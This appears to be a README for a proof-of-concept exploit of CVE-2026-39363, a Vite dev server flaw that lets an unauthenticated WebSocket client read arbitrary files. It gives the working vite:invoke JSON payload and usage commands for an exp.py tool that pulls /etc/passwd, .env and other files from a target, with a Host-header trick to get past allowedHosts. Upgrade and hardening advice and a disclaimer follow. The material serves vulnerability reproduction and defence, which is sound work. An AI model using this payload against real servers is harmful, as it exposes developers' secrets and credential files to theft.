CVE-2026-39363 — Vite Dev Server Arbitrary File Read PoC

A drop-in PoC for GHSA-p9ff-h696-f583. It reads arbitrary files from the machine running the dev server by calling fetchModule over an unauthenticated HMR WebSocket, bypassing the HTTP-layer server.fs.allow restriction.

Affected Versions

Prerequisites:

• The dev server is exposed to the network (--host / server.host configuration), and
• The HMR WebSocket is not disabled (enabled by default, can be disabled with server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC has rated exploitation=poc, automatable=yes.

How It Works

1. Reading arbitrary files via the HTTP layer is blocked by server.fs.allow (/@fs/<absolute-path> → 403).
2. However, the HMR WebSocket handshake only checks:
   • The Sec-WebSocket-Protocol: vite-hmr header, and
   • The ?token= query parameter only when an Origin header is present (CWE-306: non-browser clients can connect directly without an Origin header).
3. After connecting, send a vite:invoke custom event to call the server-registered fetchModule method with file://<absolute-path>?raw. fetchModule goes directly through the module transform pipeline, completely bypassing the fs.allow check, and returns the file content as export default "..." (CWE-200).

vite:invoke request message structure (identical in v6/v7/v8):

{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

The server replies with id changed to 1response, and data.data.result.code contains the file content.

Usage

Only requires the Python 3 standard library, no third-party dependencies:

# 读单个文件（POSIX 路径）
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录（文件名按路径自动安全化）
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时，用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Parameters:

Validation Records

The PoC in this repository has been verified in the following environments (read secret.txt outside the dev server root; the HTTP @fs path returns 403 for the same file):

• Vite 8.0.4 (vite --host 0.0.0.0, Windows)
• Vite 6.4.1 (same as above)
• Vite 7.3.1 source comparison confirms the message structure is identical to v6/v8

Reproduction steps (same chain as the PoC):

# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦（预期 403）
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读（本 PoC）
python exp.py http://target:5173 <root外绝对路径>

Detection and Hardening

• Upgrade to 6.4.2 / 7.3.2 / 8.0.5.
• Never bind the dev server to a public address (it only listens on localhost by default).
• For production builds, use vite build + static hosting; do not run vite dev.
• If you cannot upgrade: disable HMR with server.ws: false, or add a reverse proxy that only allows local access to the dev server port.

Disclaimer

For use only in authorized penetration testing, vulnerability reproduction, and defensive research. The user is solely responsible for any consequences arising from using this tool against systems without authorization.